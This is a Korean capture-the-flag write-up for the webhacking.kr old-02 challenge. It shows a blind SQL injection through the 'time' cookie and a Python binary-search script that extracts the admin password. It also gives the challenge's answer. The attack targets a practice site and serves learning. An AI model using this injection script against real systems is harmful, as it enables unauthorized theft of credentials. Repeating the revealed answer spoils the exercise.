webhacking.kr old-02 write-up
문제 첫 화면이다. restricted area라고 한다. 코드를 살펴보자.
admin.php에 접근하면 궁디를 차버린단다... 가보자.
비밀번호를 요구한다. 우린 비밀번호가 없다. 흠
근데 time 쿠키값이 있다. timestamp값이 적혀있는데 blind injection을 했더니
시간이 바뀌었다. 심지어 마지막은 01로 바뀌었다. 여러 방식으로 injection을 해보니 그냥 숫자만 입력해도 저 초값으로 들어갔다. 코드가 어떻게 되어있는겨... 암튼 blind injection이 가능하다는것을 알았으므로 천천히 하나씩 구해보자.
- db 개수, db명 길이, db명
- table 개수, 길이, 이름
- column 개수, 길이, 이름
- row값
일일이 다 코드를 삽입하기엔 그 과정들이 너무 많다.
https://crattack.tistory.com/entry/WEB-Blind-SQL-Injection-%EA%B3%B5%EA%B2%A9-%EB%B0%A9%EB%B2%95
여길 참고해서 페이로드를 작성하면 좋다.
params={}
database = ''
for j in range(20):
mid = 0
low = 40
high = 129
while(low<=high):
mid = int((low+high)/2)
url = "https://webhacking.kr/challenge/web-02/"
params['time'] = '(ascii(substring((select pw from admin_area_pw),{},1))={})'.format(j+1,mid)
res=requests.get(url, cookies=params)
if '09:00:01' in res.text:
database += chr(mid)
print('find! {}'.format(database))
break
params['time'] = '(ascii(substring((select pw from admin_area_pw),{},1))>{})'.format(j+1,mid)
res=requests.get(url, cookies=params)
if '09:00:01' in res.text:
low = mid+1
else:
high = mid-1
이건 마지막 row값을 구하는 페이로드이다. 브루트포스 방식으로 하면 너무 오래걸려서 이진탐색 알고리즘을 사용해서 코드를 작성했다. 기존에 블로그들에 널린 코드들보다 훨씬 빠르게 동작한다.
kudos_to_beistlab 를 password로 입력하면
solved!
Author And Source
이 문제에 관하여(webhacking.kr old-02 write-up), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@whtmdgus56/webhacking.kr-old-03-write-up-tcqgiel7저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)